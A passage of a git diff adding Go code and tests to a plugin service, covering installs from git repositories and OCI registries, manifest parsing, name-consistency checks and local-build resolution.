MaterializationAdapter can + // extract it identically to an OCI-pulled plugin. + layerData, err := ociartifact.CompressTar(files, ociartifact.DefaultTarOptions(), ociartifact.DefaultGzipOptions()) + if err != nil { + return nil, fmt.Errorf("compressing git plugin tree: %w", err) + } + + // Hydrate install options from the git result. + opts.Name = manifest.Name + opts.LayerData = layerData + opts.Reference = gitURL + opts.Digest = commitHash + opts.Components = manifestComponentInventory(manifest) + opts.Description = manifest.Description + if opts.Version == "" && manifest.Version != "" { + opts.Version = manifest.Version + } + + unlock := s.locks.lock(opts.Name, scope, opts.ProjectRoot) + defer unlock() + + return s.installWithExtraction(ctx, opts, scope) +} + +// cloneAndCollectPlugin clones the repo referenced by gitRef, reads the plugin +// manifest, and collects every file under the plugin subdirectory. Returns the +// files as ociartifact.FileEntry values (ready for CompressTar), the parsed +// manifest, and the commit hash. +func (s *service) cloneAndCollectPlugin( + ctx context.Context, gitRef *gitresolver.GitReference, +) ([]ociartifact.FileEntry, *plugins.PluginManifest, string, error) { + ctx, cancel := context.WithTimeout(ctx, gitresolver.CloneTimeout) + defer cancel() + + cloneConfig := gitresolver.CloneConfigForRef(gitRef) + + client := gitresolver.ClientForURL(gitRef.URL, s.gitClient) + repoInfo, err := client.Clone(ctx, cloneConfig) + if err != nil { + return nil, nil, "", fmt.Errorf("cloning repository: %w", err) + } + defer func() { _ = client.Cleanup(ctx, repoInfo) }() + + commitHash, err := client.HeadCommitHash(repoInfo) + if err != nil { + return nil, nil, "", fmt.Errorf("getting commit hash: %w", err) + } + + // Read the plugin manifest. It lives at /.claude-plugin/plugin.json. + // We collect the whole file tree first, then locate the manifest among the + // collected entries so we don't need a second pass over the repo. + fileEntries, err := collectPluginFiles(repoInfo, gitRef.Path) + if err != nil { + return nil, nil, "", fmt.Errorf("collecting plugin files: %w", err) + } + + manifestBytes, err := findManifestBytes(fileEntries) + if err != nil { + return nil, nil, "", fmt.Errorf("reading plugin manifest: %w", err) + } + manifest, err := plugins.ParsePluginManifestFromBytes(manifestBytes) + if err != nil { + return nil, nil, "", fmt.Errorf("parsing plugin manifest: %w", err) + } + return fileEntries, manifest, commitHash, nil +} + +// collectPluginFiles reads all files from the given path in the repository, +// walking nested subtrees recursively. Returned paths are forward-slash +// relative to basePath. Mirror of gitresolver.defaultResolver.collectFiles, +// adapted to produce ociartifact.FileEntry values. +func collectPluginFiles(repoInfo *git.RepositoryInfo, basePath string) ([]ociartifact.FileEntry, error) { + ref, err := repoInfo.Repository.Head() + if err != nil { + return nil, fmt.Errorf("getting HEAD: %w", err) + } + commit, err := repoInfo.Repository.CommitObject(ref.Hash()) + if err != nil { + return nil, fmt.Errorf("getting commit: %w", err) + } + tree, err := commit.Tree() + if err != nil { + return nil, fmt.Errorf("getting tree: %w", err) + } + if basePath != "" { + tree, err = tree.Tree(basePath) + if err != nil { + return nil, fmt.Errorf("navigating to path %q: %w", basePath, err) + } + } + + var files []ociartifact.FileEntry + err = tree.Files().ForEach(func(f *object.File) error { + content, contentErr := f.Contents() + if contentErr != nil { + return fmt.Errorf("reading content of %q: %w", f.Name, contentErr) + } + // Preserve the executable bit (and other mode bits) committed in the + // repo rather than forcing every file to 0644, so hook scripts keep +x. + osMode, modeErr := f.Mode.ToOSFileMode() + if modeErr != nil { + return fmt.Errorf("converting mode of %q: %w", f.Name, modeErr) + } + files = append(files, ociartifact.FileEntry{ + Path: f.Name, + Content: []byte(content), + Mode: int64(osMode), + }) + return nil + }) + if err != nil { + return nil, fmt.Errorf("iterating tree: %w", err) + } + return files, nil +} + +// findManifestBytes locates the .claude-plugin/plugin.json entry among the +// collected files and returns its content. Match is case-insensitive on the +// path for robustness against path-separator differences. +func findManifestBytes(files []ociartifact.FileEntry) ([]byte, error) { + target := path.Clean(plugins.ManifestPath) + for _, f := range files { + if path.Clean(f.Path) == target { + return f.Content, nil + } + } + return nil, fmt.Errorf("%s not found in plugin directory", plugins.ManifestPath) +} + +// manifestComponentInventory derives a ComponentInventory from a parsed plugin +// manifest by counting entries in each component directory array. +func manifestComponentInventory(m *plugins.PluginManifest) plugins.ComponentInventory { + if m == nil { + return nil + } + inv := plugins.ComponentInventory{} + if len(m.Commands) > 0 { + inv[string(plugins.ComponentCommands)] = len(m.Commands) + } + if len(m.Agents) > 0 { + inv[string(plugins.ComponentAgents)] = len(m.Agents) + } + if len(m.Skills) > 0 { + inv[string(plugins.ComponentSkills)] = len(m.Skills) + } + if len(m.Hooks) > 0 { + inv[string(plugins.ComponentHooks)] = len(m.Hooks) + } + if m.McpServers != nil { + inv[string(plugins.ComponentMCP)] = 1 + } + if m.LspServers != nil { + inv[string(plugins.ComponentLSP)] = 1 + } + if len(inv) == 0 { + return nil + } + return inv +} + +// validateGitPluginName enforces name/repo consistency for git installs, +// mirroring the OCI check that the manifest name matches the repo's last +// segment. The expected name is derived from the git reference: the subdir's +// last segment when #subdir is present, else the repo's last segment. +// Returns a 422 httperr on mismatch. +func validateGitPluginName(manifestName string, gitRef *gitresolver.GitReference) error { + expectedName := gitRef.SkillName() + if manifestName != expectedName { + return httperr.WithCode( + fmt.Errorf("plugin name %q in manifest does not match git reference name %q", + manifestName, expectedName), + http.StatusUnprocessableEntity, + ) + } + return nil +} diff --git a/pkg/plugins/pluginsvc/install_git_test.go b/pkg/plugins/pluginsvc/install_git_test.go new file mode 100644 index 0000000000..9ef6bb17fa --- /dev/null +++ b/pkg/plugins/pluginsvc/install_git_test.go @@ -0,0 +1,282 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "net/http" + "os" + "path/filepath" + "testing" + + gogit "github.com/go-git/go-git/v5" + "github.com/go-git/go-git/v5/plumbing/object" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + ociartifact "github.com/stacklok/toolhive-core/oci/artifact" + "github.com/stacklok/toolhive/pkg/git" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + "github.com/stacklok/toolhive/pkg/skills/gitresolver" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +func TestParseGitReference_RefAndSubdir(t *testing.T) { + t.Parallel() + + tests := []struct { + raw string + wantURL string + wantRef string + wantPath string + wantError bool + }{ + {raw: "git://github.com/org/repo", wantURL: "https://github.com/org/repo"}, + {raw: "git://github.com/org/repo@v1.0.0", wantRef: "v1.0.0"}, + {raw: "git://github.com/org/repo#plugins/my-plugin", wantPath: "plugins/my-plugin"}, + {raw: "git://github.com/org/repo@main#plugins/my-plugin", wantRef: "main", wantPath: "plugins/my-plugin"}, + {raw: "git://", wantError: true}, + {raw: "git://github.com", wantError: true}, + } + for _, tt := range tests { + t.Run(tt.raw, func(t *testing.T) { + t.Parallel() + ref, err := gitresolver.ParseGitReference(tt.raw) + if tt.wantError { + require.Error(t, err) + return + } + require.NoError(t, err) + if tt.wantURL != "" { + assert.Equal(t, tt.wantURL, ref.URL) + } + assert.Equal(t, tt.wantRef, ref.Ref) + assert.Equal(t, tt.wantPath, ref.Path) + }) + } +} + +func TestInstallFromGit_ErrorPaths(t *testing.T) { + t.Parallel() + + t.Run("no materializers configured returns 500", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + _, err := svc.Install(t.Context(), plugins.InstallOptions{Name: "git://github.com/test/my-plugin"}) + require.Error(t, err) + assert.Equal(t, http.StatusInternalServerError, httperr.Code(err)) + }) + + t.Run("malformed git reference returns 400", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{Name: "git://"}) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + assert.Contains(t, err.Error(), "invalid git reference") + }) +} + +// TestCloneAndCollectPlugin exercises the clone + manifest parse + file +// collection flow against a real on-disk git repository. It bypasses +// ParseGitReference (which rejects localhost/file paths) by calling +// cloneAndCollectPlugin directly with a file://-style GitReference and an +// injected git.NewDefaultGitClient. +func TestCloneAndCollectPlugin(t *testing.T) { + t.Parallel() + + t.Run("collects plugin tree and parses manifest", func(t *testing.T) { + t.Parallel() + repoDir := createPluginTestRepo(t, "") + + s := &service{gitClient: git.NewDefaultGitClient()} + files, manifest, commitHash, err := s.cloneAndCollectPlugin(t.Context(), &gitresolver.GitReference{URL: repoDir}) + require.NoError(t, err) + assert.Equal(t, "my-plugin", manifest.Name) + assert.Equal(t, "1.0.0", manifest.Version) + assert.NotEmpty(t, commitHash) + // Manifest + a command file are collected. + assert.GreaterOrEqual(t, len(files), 2) + }) + + t.Run("subdir scopes the collected tree", func(t *testing.T) { + t.Parallel() + repoDir := createPluginTestRepo(t, "bundled") + + s := &service{gitClient: git.NewDefaultGitClient()} + files, manifest, _, err := s.cloneAndCollectPlugin(t.Context(), &gitresolver.GitReference{ + URL: repoDir, + Path: "bundled", + }) + require.NoError(t, err) + assert.Equal(t, "my-plugin", manifest.Name) + // Files are relative to the subdir; manifest path is .claude-plugin/plugin.json. + found := false + for _, f := range files { + if f.Path == ".claude-plugin/plugin.json" { + found = true + } + } + assert.True(t, found, "manifest should be collected from the subdir") + }) + + t.Run("missing manifest returns error", func(t *testing.T) { + t.Parallel() + dir := t.TempDir() + repo, err := gogit.PlainInit(dir, false) + require.NoError(t, err) + wt, err := repo.Worktree() + require.NoError(t, err) + require.NoError(t, os.WriteFile(filepath.Join(dir, "README.md"), []byte("# no plugin"), 0644)) + _, err = wt.Add(".") + require.NoError(t, err) + _, err = wt.Commit("init", &gogit.CommitOptions{Author: &object.Signature{Name: "T", Email: "t@e"}}) + require.NoError(t, err) + + s := &service{gitClient: git.NewDefaultGitClient()} + _, _, _, err = s.cloneAndCollectPlugin(t.Context(), &gitresolver.GitReference{URL: dir}) + require.Error(t, err) + assert.Contains(t, err.Error(), "not found in plugin directory") + }) + + t.Run("executable file mode is preserved", func(t *testing.T) { + t.Parallel() + repoDir := createPluginTestRepoWithExecutable(t, "") + + s := &service{gitClient: git.NewDefaultGitClient()} + files, manifest, _, err := s.cloneAndCollectPlugin(t.Context(), &gitresolver.GitReference{URL: repoDir}) + require.NoError(t, err) + assert.Equal(t, "my-plugin", manifest.Name) + + var hookEntry *ociartifact.FileEntry + for i := range files { + if files[i].Path == "hooks/preinstall.sh" { + hookEntry = &files[i] + break + } + } + require.NotNil(t, hookEntry, "executable hook file should be collected") + assert.NotZero(t, hookEntry.Mode&0o100, + "executable bit should be preserved on hook script, got mode %o", hookEntry.Mode) + }) +} + +// createPluginTestRepo initializes an on-disk git repo containing a minimal +// plugin tree. When subdir is non-empty, the plugin is placed under that +// subdirectory. +func createPluginTestRepo(t *testing.T, subdir string) string { + t.Helper() + dir := t.TempDir() + repo, err := gogit.PlainInit(dir, false) + require.NoError(t, err) + + pluginRoot := dir + if subdir != "" { + pluginRoot = filepath.Join(dir, subdir) + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, ".claude-plugin"), 0750)) + } else { + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, ".claude-plugin"), 0750)) + } + manifest := `{"name":"my-plugin","version":"1.0.0","commands":["./commands"]}` + require.NoError(t, os.WriteFile(filepath.Join(pluginRoot, ".claude-plugin", "plugin.json"), []byte(manifest), 0644)) + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, "commands"), 0750)) + require.NoError(t, os.WriteFile(filepath.Join(pluginRoot, "commands", "hello.md"), []byte("# hello"), 0644)) + + wt, err := repo.Worktree() + require.NoError(t, err) + _, err = wt.Add(".") + require.NoError(t, err) + _, err = wt.Commit("init", &gogit.CommitOptions{Author: &object.Signature{Name: "T", Email: "t@e"}}) + require.NoError(t, err) + return dir +} + +// createPluginTestRepoWithExecutable is like createPluginTestRepo but also +// commits an executable hook script at hooks/preinstall.sh (mode 0755) so the +// exec-bit-preservation path can be exercised. +func createPluginTestRepoWithExecutable(t *testing.T, subdir string) string { + t.Helper() + dir := t.TempDir() + repo, err := gogit.PlainInit(dir, false) + require.NoError(t, err) + + pluginRoot := dir + if subdir != "" { + pluginRoot = filepath.Join(dir, subdir) + } + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, ".claude-plugin"), 0750)) + manifest := `{"name":"my-plugin","version":"1.0.0"}` + require.NoError(t, os.WriteFile(filepath.Join(pluginRoot, ".claude-plugin", "plugin.json"), []byte(manifest), 0644)) + + // Executable hook script, committed with the executable bit set. + require.NoError(t, os.MkdirAll(filepath.Join(pluginRoot, "hooks"), 0750)) + hookPath := filepath.Join(pluginRoot, "hooks", "preinstall.sh") + require.NoError(t, os.WriteFile(hookPath, []byte("#!/bin/sh\necho hi\n"), 0755)) + + wt, err := repo.Worktree() + require.NoError(t, err) + _, err = wt.Add(".") + require.NoError(t, err) + _, err = wt.Commit("init", &gogit.CommitOptions{Author: &object.Signature{Name: "T", Email: "t@e"}}) + require.NoError(t, err) + return dir +} + +// TestGitNameConsistencyCheck exercises validateGitPluginName, the name/repo +// consistency check for git installs that mirrors the OCI path's check. +func TestGitNameConsistencyCheck(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + manifestName string + gitRef *gitresolver.GitReference + wantErr bool + wantCode int + }{ + { + name: "bare repo mismatch returns 422", + manifestName: "evil-name", + gitRef: &gitresolver.GitReference{URL: "https://github.com/org/my-plugin"}, + wantErr: true, + wantCode: http.StatusUnprocessableEntity, + }, + { + name: "bare repo match passes", + manifestName: "my-plugin", + gitRef: &gitresolver.GitReference{URL: "https://github.com/org/my-plugin"}, + }, + { + name: "subdir case matches", + manifestName: "bundled", + gitRef: &gitresolver.GitReference{URL: "https://github.com/org/repo", Path: "bundled"}, + }, + { + name: "subdir mismatch returns 422", + manifestName: "other", + gitRef: &gitresolver.GitReference{URL: "https://github.com/org/repo", Path: "bundled"}, + wantErr: true, + wantCode: http.StatusUnprocessableEntity, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + err := validateGitPluginName(tt.manifestName, tt.gitRef) + if tt.wantErr { + require.Error(t, err) + assert.Equal(t, tt.wantCode, httperr.Code(err)) + return + } + require.NoError(t, err) + }) + } +} diff --git a/pkg/plugins/pluginsvc/install_oci.go b/pkg/plugins/pluginsvc/install_oci.go new file mode 100644 index 0000000000..8b2aa03f27 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_oci.go @@ -0,0 +1,340 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "log/slog" + "net/http" + "strings" + + nameref "github.com/google/go-containerregistry/pkg/name" + "github.com/opencontainers/go-digest" + + "github.com/stacklok/toolhive-core/httperr" + ociplugins "github.com/stacklok/toolhive-core/oci/plugins" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// installFromOCI pulls a plugin artifact from a remote registry, extracts +// metadata and layer data, then delegates to installWithExtraction. Mirror of +// skillsvc.installFromOCI, substituting the plugin supply-chain check +// (config.Name == OCI repo last segment) and hydrating Components/Dependencies +// from the plugin OCI config. +func (s *service) installFromOCI( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, + ref nameref.Reference, +) (*plugins.InstallResult, error) { + if s.registry == nil || s.ociStore == nil { + return nil, httperr.WithCode( + fmt.Errorf("OCI registry is not configured"), + http.StatusInternalServerError, + ) + } + if len(s.materializers) == 0 { + return nil, httperr.WithCode( + fmt.Errorf("no materializers configured for plugin installs"), + http.StatusInternalServerError, + ) + } + + ociRef := qualifiedOCIRef(ref) + + pullCtx, cancel := context.WithTimeout(ctx, ociPullTimeout) + defer cancel() + + pulledDigest, err := s.registry.Pull(pullCtx, s.ociStore, ociRef) + if err != nil { + return nil, httperr.WithCode( + fmt.Errorf("pulling OCI artifact %q: %w", ociRef, err), + classifyPullError(err), + ) + } + + layerData, pluginConfig, err := s.extractPluginOCIContent(ctx, pulledDigest) + if err != nil { + return nil, err + } + + if err := plugins.ValidatePluginName(pluginConfig.Name); err != nil { + return nil, httperr.WithCode( + fmt.Errorf("plugin artifact contains invalid name: %w", err), + http.StatusUnprocessableEntity, + ) + } + + // Name/repo consistency check: the plugin name declared in the artifact + // config must match the last path component of the OCI reference. This + // prevents accidental clobbering when a ref resolves to an artifact that + // self-declares a different plugin name. Note: this is a consistency check, + // not publisher authenticity — pluginConfig.Name is the artifact's own + // self-declared field, so it does not bind the artifact to a trusted + // publisher. Signature/attestation verification is a separate concern. + repo := ref.Context().RepositoryStr() + if idx := strings.LastIndex(repo, "/"); idx >= 0 { + repo = repo[idx+1:] + } + if repo != pluginConfig.Name { + return nil, httperr.WithCode( + fmt.Errorf( + "plugin name %q in artifact does not match OCI reference repository %q", + pluginConfig.Name, repo, + ), + http.StatusUnprocessableEntity, + ) + } + + // Hydrate install options from the pulled artifact. + opts.Name = pluginConfig.Name + opts.LayerData = layerData + opts.Reference = ociRef + opts.Digest = pulledDigest.String() + opts.Components = pluginConfig.Components + opts.Description = pluginConfig.Description + opts.Dependencies = requiresToDependencies(pluginConfig.Requires) + if t, hasTag := tagFromRef(ref); hasTag { + opts.Tag = t + } + if opts.Version == "" && pluginConfig.Version != "" { + opts.Version = pluginConfig.Version + } + + unlock := s.locks.lock(opts.Name, scope, opts.ProjectRoot) + defer unlock() + + return s.installWithExtraction(ctx, opts, scope) +} + +// requiresToDependencies maps a plugin's declared `requires` OCI references +// (strings) into Dependency records. Name/Digest are left empty; they are +// resolved at dependency-install time (a later Phase-3 wave). +func requiresToDependencies(requires []string) []plugins.Dependency { + if len(requires) == 0 { + return nil + } + deps := make([]plugins.Dependency, 0, len(requires)) + for _, r := range requires { + if r == "" { + continue + } + deps = append(deps, plugins.Dependency{Reference: r}) + } + return deps +} + +// tagFromRef returns the OCI tag portion of ref (if any). Digest references +// and tag-less references report hasTag=false. +func tagFromRef(ref nameref.Reference) (string, bool) { + if _, isDigest := ref.(nameref.Digest); isDigest { + return "", false + } + if t, ok := ref.(nameref.Tag); ok { + return t.TagStr(), true + } + return "", false +} + +// resolveFromLocalStore attempts to resolve a plugin name against the local +// OCI store. It first tries a direct tag lookup; when that misses, it falls +// back to scanning local-build-marked tags for one whose declared plugin name +// matches. Returns (true, nil) when resolved (opts hydrated), (false, nil) +// when no match found. Mirror of skillsvc.resolveFromLocalStore. +func (s *service) resolveFromLocalStore(ctx context.Context, opts *plugins.InstallOptions) (bool, error) { + resolved, err := s.tryDirectLocalTag(ctx, opts) + if err != nil || resolved { + return resolved, err + } + return s.tryLocalBuildScan(ctx, opts) +} + +// tryDirectLocalTag attempts to resolve opts.Name as a literal tag in the +// local OCI store and verifies the artifact's declared plugin name matches. +func (s *service) tryDirectLocalTag( + ctx context.Context, + opts *plugins.InstallOptions, +) (bool, error) { + d, err := s.ociStore.Resolve(ctx, opts.Name) + if err != nil { + return false, nil + } + + layerData, pluginConfig, err := s.extractPluginOCIContent(ctx, d) + if err != nil { + return false, err + } + + if err := plugins.ValidatePluginName(pluginConfig.Name); err != nil { + return false, httperr.WithCode( + fmt.Errorf("local artifact contains invalid plugin name: %w", err), + http.StatusUnprocessableEntity, + ) + } + + if pluginConfig.Name != opts.Name { + return false, httperr.WithCode( + fmt.Errorf( + "plugin name %q in local artifact does not match install name %q", + pluginConfig.Name, opts.Name, + ), + http.StatusUnprocessableEntity, + ) + } + + if opts.Version != "" && pluginConfig.Version != opts.Version { + return false, nil + } + + hydrateOptsFromLocalBuild(opts, layerData, d, pluginConfig, opts.Name) + return true, nil +} + +// tryLocalBuildScan walks local-build-marked tags for a plugin artifact whose +// declared name (and version, when specified) matches opts. +func (s *service) tryLocalBuildScan( + ctx context.Context, + opts *plugins.InstallOptions, +) (bool, error) { + matches, err := s.findLocalBuildsByName(ctx, opts.Name, opts.Version) + if err != nil { + return false, err + } + if len(matches) == 0 { + slog.Debug("plugin name not found in local OCI store", + "name", opts.Name, "version", opts.Version) + return false, nil + } + + chosen := pickLocalBuildMatch(matches, opts.Name) + if chosen == nil { + return false, ambiguousLocalBuildError(opts.Name, matches) + } + hydrateOptsFromLocalBuild(opts, chosen.LayerData, chosen.Digest, chosen.Config, chosen.Tag) + return true, nil +} + +// localBuildMatch is a candidate match found by scanning local-build-marked +// tags for a plugin with a given name. +type localBuildMatch struct { + Tag string + Digest digest.Digest + LayerData []byte + Config *ociplugins.PluginConfig +} + +// findLocalBuildsByName scans local-build-marked tags for plugin artifacts +// whose declared name matches `name`. Mirror of skillsvc.findLocalBuildsByName. +func (s *service) findLocalBuildsByName( + ctx context.Context, name, version string, +) ([]localBuildMatch, error) { + tags, err := s.ociStore.ListTags(ctx) + if err != nil { + return nil, fmt.Errorf("listing local OCI tags: %w", err) + } + + var matches []localBuildMatch + for _, tag := range tags { + local, markerErr := isLocalBuild(ctx, s.ociStore, tag) + if markerErr != nil { + slog.Debug("failed to read local-build marker", "tag", tag, "error", markerErr) + continue + } + if !local { + continue + } + + d, resolveErr := s.ociStore.Resolve(ctx, tag) + if resolveErr != nil { + slog.Debug("failed to resolve local-build tag", "tag", tag, "error", resolveErr) + continue + } + + isPlugin, typeErr := s.isPluginArtifact(ctx, d) + if typeErr != nil { + slog.Debug("failed to check artifact type", "tag", tag, "error", typeErr) + continue + } + if !isPlugin { + continue + } + + layerData, cfg, extractErr := s.extractPluginOCIContent(ctx, d) + if extractErr != nil { + slog.Debug("failed to extract local-build content", "tag", tag, "error", extractErr) + continue + } + if cfg == nil || cfg.Name != name { + continue + } + if version != "" && cfg.Version != version && tag != version { + continue + } + + matches = append(matches, localBuildMatch{ + Tag: tag, + Digest: d, + LayerData: layerData, + Config: cfg, + }) + } + return matches, nil +} + +// pickLocalBuildMatch selects a single match among scan results. Mirror of +// skillsvc.pickLocalBuildMatch. +func pickLocalBuildMatch(matches []localBuildMatch, name string) *localBuildMatch { + if len(matches) == 1 { + return &matches[0] + } + for i := range matches { + if matches[i].Tag == name { + return &matches[i] + } + } + return nil +} + +// ambiguousLocalBuildError builds a 409 error listing each ambiguous match. +func ambiguousLocalBuildError(name string, matches []localBuildMatch) error { + lines := make([]string, 0, len(matches)) + for _, m := range matches { + var version string + if m.Config != nil { + version = m.Config.Version + } + lines = append(lines, fmt.Sprintf(" - tag %q, version %q", m.Tag, version)) + } + return httperr.WithCode( + fmt.Errorf( + "multiple local builds match plugin %q; specify version to disambiguate. Candidates:\n%s", + name, strings.Join(lines, "\n"), + ), + http.StatusConflict, + ) +} + +// hydrateOptsFromLocalBuild populates opts from a resolved local-build artifact. +func hydrateOptsFromLocalBuild( + opts *plugins.InstallOptions, + layerData []byte, + d digest.Digest, + cfg *ociplugins.PluginConfig, + tag string, +) { + opts.LayerData = layerData + opts.Digest = d.String() + if opts.Reference == "" { + opts.Reference = tag + } + if cfg != nil { + opts.Components = cfg.Components + opts.Description = cfg.Description + opts.Dependencies = requiresToDependencies(cfg.Requires) + if opts.Version == "" && cfg.Version != "" { + opts.Version = cfg.Version + } + } +} diff --git a/pkg/plugins/pluginsvc/install_oci_test.go b/pkg/plugins/pluginsvc/install_oci_test.go new file mode 100644 index 0000000000..490e509e54 --- /dev/null +++ b/pkg/plugins/pluginsvc/install_oci_test.go @@ -0,0 +1,309 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "net/http" + "os" + "path/filepath" + "testing" + + godigest "github.com/opencontainers/go-digest" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + ociplugins "github.com/stacklok/toolhive-core/oci/plugins" + ocimocks "github.com/stacklok/toolhive-core/oci/plugins/mocks" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + "github.com/stacklok/toolhive/pkg/storage" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +func TestInstallFromOCI(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + opts plugins.InstallOptions + setup func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) + wantCode int + wantErr string + wantName string + wantVersion string + wantDigest bool + wantRef string + }{ + { + name: "registry not configured", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + return nil, nil, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusInternalServerError, + }, + { + name: "ociStore not configured", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + return ocimocks.NewMockRegistryClient(ctrl), nil, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusInternalServerError, + }, + { + name: "no materializers configured", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + return ocimocks.NewMockRegistryClient(ctrl), ociStore, storemocks.NewMockPluginStore(ctrl), nil + }, + wantCode: http.StatusInternalServerError, + }, + { + name: "pull error propagates", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1"}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/my-plugin:v1"). + Return(godigest.Digest(""), fmt.Errorf("auth required")) + return reg, ociStore, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantErr: "auth required", + }, + { + name: "name mismatch between artifact and reference is rejected", + opts: plugins.InstallOptions{Name: "ghcr.io/org/some-repo:v1", Clients: []string{"claude-code"}}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + indexDigest := buildTestPlugin(t, ociStore, "actual-plugin", "2.0.0") + + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/some-repo:v1"). + Return(indexDigest, nil) + + return reg, ociStore, storemocks.NewMockPluginStore(ctrl), plugmocks.NewMockMaterializationAdapter(ctrl) + }, + wantCode: http.StatusUnprocessableEntity, + wantErr: "does not match OCI reference repository", + }, + { + name: "successful pull and install", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1", Clients: []string{"claude-code"}}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + indexDigest := buildTestPlugin(t, ociStore, "my-plugin", "1.0.0") + + reg := ocimocks.NewMockRegistryClient(ctrl) + reg.EXPECT().Pull(gomock.Any(), ociStore, "ghcr.io/org/my-plugin:v1"). + Return(indexDigest, nil) + + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.Equal(t, "my-plugin", p.Metadata.Name) + assert.Equal(t, "1.0.0", p.Metadata.Version) + assert.Equal(t, "ghcr.io/org/my-plugin:v1", p.Reference) + assert.Equal(t, "v1", p.Tag) + assert.Contains(t, p.Digest, "sha256:") + return nil + }) + return reg, ociStore, store, adapter + }, + wantName: "my-plugin", + wantVersion: "1.0.0", + wantDigest: true, + wantRef: "ghcr.io/org/my-plugin:v1", + }, + { + name: "preserves caller version over config version", + opts: plugins.InstallOptions{Name: "ghcr.io/org/my-plugin:v1", Version: "override-version", Clients: []string{"claude-code"}}, + setup: func(t *testing.T, ctrl *gomock.Controller) (ociplugins.RegistryClient, *ociplugins.Store, *storemocks.MockPluginStore, *plugmocks.MockMaterializationAdapter) { + t.Helper() + ociStore, err := ociplugins.NewStore(tempDir(t)) + require.NoError(t, err) + indexDigest := buildTestPlugin(t, ociStore, "my-plugin", "1.0.0") + + reg := ocimocks.NewMockRegistryClient(ctrl) + 